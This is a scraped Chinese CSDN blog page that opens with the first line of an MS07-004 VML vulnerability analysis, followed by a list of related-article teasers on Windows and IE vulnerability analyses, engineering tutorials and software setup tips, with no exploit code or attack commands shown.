 MS-07004分析和利用文/图  gyzy  相信大家对去年的MS06-055还记忆犹新吧,微软的矢量标记语言VML中的Method变量IE未对其进行长度进行检查,导致了一个栈溢出漏洞。2007年的新年钟声刚刚敲响,又一个关于VML的漏

1189

从时序参数到电压供给:TTL(RGB)液晶屏驱动调试全解析

本文全面解析TTL(RGB)液晶屏驱动调试的关键技术,从时序参数配置到电压供给系统搭建,详细介绍了同步信号参数、寄存器配置技巧以及升压电路设计。通过实战案例和常见故障分析,帮助工程师快速掌握液晶显示屏调试方法,提升开发效率。

weixin_30588675的博客 249

MS10-046_LNK文件快捷方式漏洞的原理分析(多图杀猫)

文件快捷方式漏洞MS10-046是除了n年前的动画光标(.ani)漏洞之外另一个让我觉得比较有趣的漏洞,毕竟是本机执行任意代码的权限,当然,n年前我还只是一个菜鸟,神马都不懂.       入正题吧,欢迎拍砖,大家一起进步.(后面我会把一些参考文章贴出来的)       由于MS10-046的漏洞是在shell32.dll当中,windows出于美化的目的,会现实快捷方式的图标,这个图标可

GaA.Ra的自留地 in Csdn 1万+

高德地图可视化入门:零基础用Python+高德API打造你的第一个热力图

本文详细介绍了如何使用Python和高德地图API从零构建商业级热力图。通过环境配置、地理编码、数据清洗到最终可视化展示的全流程指南,帮助开发者快速掌握地图可视化技术,特别适合展示商圈人流、疫情热点等地理分布数据。

weixin_29053067的博客 307

记录思科cisco交换机升级iso步骤

Cisco Nexus 93180交换机版本升级

a635161812的博客 4378

Tencent QQ 多个远程溢出漏洞

by axis(axis_at_ph4nt0m.org) http://www.ph4nt0m.org 摘要: QQ是由Tencent公司开发的一个IM软件,在中国有着非常广泛的用户。DSW Avert在200612.31发现了QQ的几个0day漏洞,并通知了QQ官方。QQ在2007.1.1进行了升级。事实上,在此之前,幻影旅团(ph4nt0m)的axis就已经发现了这些漏洞,出于一些原因未曾公布

2183

六轴机械臂正逆解计算

机械臂运动学就是。包括(Forward Kinematics)和(InverseKinematics)两部分。正运动学就是逆运动学则是关节变量->机械臂末端执行器的姿势=正向运动学机械臂未端执行器的位姿->关节变量=逆向运动学。

gaoxiaochan的博客 1万+

MS07-046

/* * MS07-046(GDI32.dll Integer overflow DOS) Proof Of Concept Code * by Hong Gil-Dong & Chun Woo-Chi * Yang yeon(?~1542), Korea * "I shall keep clenching my left fist unitl i see the real...

weixin_30659829的博客 161

记录一下本地部署Dify的坑

1. 截止2025-3-4为止,请注意,不要直接拉Dify的1.0.0版本。请先试用0.15.3版本。1.0.0有一个bug需要解决。3. 请使用docker-ce 新版本,docker-engine等老版本可能会有部分容器启动脚本执行莫名报错。2. 注意,请使用docker-compose V2版本,或者V1较高版本,否则会导致解析官方yml模板错误。

哈利路亚的收藏夹 5348

台达PLC DIAdesigner-AX 编程实战:从安装到通信配置

本文详细介绍了台达PLC DIAdesigner-AX编程的实战操作,从软件安装、项目创建到通信配置的全流程。重点讲解了TCP/IP通信设置、库文件管理及常见错误处理,帮助工程师快速掌握台达PLC编程技巧,提升工业自动化项目的开发效率。

weixin_29215391的博客 532

开源先锋:ChromBPNet的AGPL-3.0许可证对你意味着什么?

ChromBPNet作为HuggingFace镜像/multimolecule项目的重要组成部分,采用了GNU Affero General Public License v3.0(AGPL-3.0)许可证。这个强大的开源许可证不仅保障了软件的自由传播,更为开发者和用户带来了独特的权利与义务。本文将深入解析AGPL-3.0许可证的核心条款,以及它如何影响你的使用和二次开发。 ## 📜 AGPL

gitblog_00585的博客 402

YOLOv11模型改进-模块-引入空间池化模块StripPooling 解决遮挡、小目标

本文介绍了一种新的空间池化策略,称为,用于场景解析。结构:包括两个平行路径,分别进行水平和垂直方向的条带池化,然后通过1D卷积层进行特征调整。:结合了条带池化和传统的空间池化,分别用于捕捉长距离和短距离的依赖关系。作用捕捉长距离依赖:通过长条形的池化窗口,有效捕捉分布离散的区域之间的关系。避免不相关信息干扰:窄条形的池化窗口有助于捕捉局部上下文,防止不相关区域干扰标签预测。提高场景解析性能:在多个基准数据集上,证明了这种方法能够显著提升场景解析的效果。

qq_64693987的博客 4206

MS11-050 IE内存破坏尝试漏洞分析笔记(二)

前面分析过程遇到了一些问题,比如在最后中断在异常处发现对象大小和前面分配不符,后来在win7 32位下调试没有出现这种问题,下面是 win7 32位下的调试过程: 同样下断 0:013> x mshtml!CObjectElement::`vftable' 694e3dd8 mshtml!CObjectElement::`vftable' = <no type i...

Hanxinyi930702的博客 476

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

青少年编程与数学 01-004数据输入与存储 07课题、数据库管理3-3

本文介绍了数据库管理的基础知识。文档首先阐述了文件存储的局限性,包括数据一致性、并发访问控制、数据冗余、查询性能、安全性、扩展性问题以及元数据管理等方面的不足。随后,介绍了数据库系统的优势,包括结构化存储、数据模型、数据一致性、并发控制、数据安全性、备份和恢复、查询语言、索引、可扩展性、多用户支持、数据抽象和数据持久性等特点。文档还详细讨论了数据库的分类,包括关系型数据库和非关系型数据库,以及它们的应用范围和主要特点。

明月看潮生的博客 1417

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

江民“网页收割者”病毒技术分析报告

CNET中国·PChome.net     时间:2007-09-21  9月20日,江民科技反病毒中心截获到一个假冒微软网站进行传播的病毒“网页收割者”(Virus.Autorun.dr),该病毒会感染网页文件,向其中插入恶意网址连接,并利用多个系统漏洞下载20多个恶性网游木马,盗取游戏玩家的帐号和密码,给玩家带来极大的损失。据江民反病毒专家介绍,“网页收割者”病毒采用Delphi 工

Penlee's Blog 1134

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

2026-07-15 middleearth doc-gen 文生文请求性能分析报告

摘要:性能分析报告显示,middleearth文生文任务的核心瓶颈在于LLM正文生成调用(占总耗时75%),存在显著长尾效应(35%调用超10秒)。规划阶段6次全部失败导致5次重复重试,累计浪费100+分钟。知识库检索效率低下(缓存命中率仅19%,880次预取全部失效)造成26分钟无效消耗。关键优化建议包括:优化LLM调用长尾(预估节省50-70分钟)、修复规划器超时问题、提升知识库缓存命中率(可省15-20分钟)及预处理数据注入流程(单次节省5-6分钟)。材料准备阶段的路由知识引用步骤存在最大偶发瓶颈,最

别忘了微笑 171

(转)安装Ms SQL Server 2005 开发版时出现性能计数器要求安装错误的解决办法

安装Ms SQL Server 2005 开发版时出现性能计数器要求安装错误的解决办法 现在,微软推出了 Sql Server 2005 简体中文版,不过大家基本上都是使用的 Sql Server 2005 的 Express 版,不过这个版本的管理界面并不好,所以我删除了这个版本,开始安装 Developer Edition 版。 不过,在安装开发版的时候,安装程序在检查系统需求的时候,

huangya0的专栏 1270

matlab响应曲面设计,分析响应曲面设计

方差分析来源 自由度 Adj SS Adj MS F 值 P 值模型 14 1137.51 81.251 4.19 0.004线性 4 218.65 54.662 2.82 0.060热条 T 1 ...

weixin_35702787的博客 782

安装Ms SQL Server 2005 开发版时出现性能计数器要求安装错误的解决办法

现在,微软推出了 Sql Server 2005 简体中文版,不过大家基本上都是使用的 Sql Server 2005 的 Express 版,不过这个版本的管理界面并不好,所以我删除了这个版本,开始安装 Developer Edition 版。不过,在安装开发版的时候,安装程序在检查系统需求的时候,出现了如下图的错误,信息:查看安装帮助后,发现有这一段话:1 在 Microsoft Wind

hunter的专栏 801

BLE广播数据安全分析与防护实践

BLE(低功耗蓝牙)广播机制是物联网设备通信的基础技术,通过周期性发送广播包实现设备发现。广播数据包含Flags、设备名称、服务UUID等核心字段,这些信息可能暴露设备类型和用户隐私。从技术原理看,广播包采用AD Structure结构,每个字段都可能成为安全突破口。在工程实践中,iOS系统通过广播过滤和连接限制提供隐私保护,而设备厂商需注意地址随机化、连接参数优化等防护措施。针对BLE广播数据泄露风险,建议精简广播内容、动态调整RPA地址,并遵循苹果的iOS适配规范,这些方法能有效提升智能家居、可穿戴设备

weixin_34387468的博客 317
上一篇: 对Windows 2000中wkssvc.dll中某个函数的分析
下一篇: Anti-Virus Software Gone Wrong
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值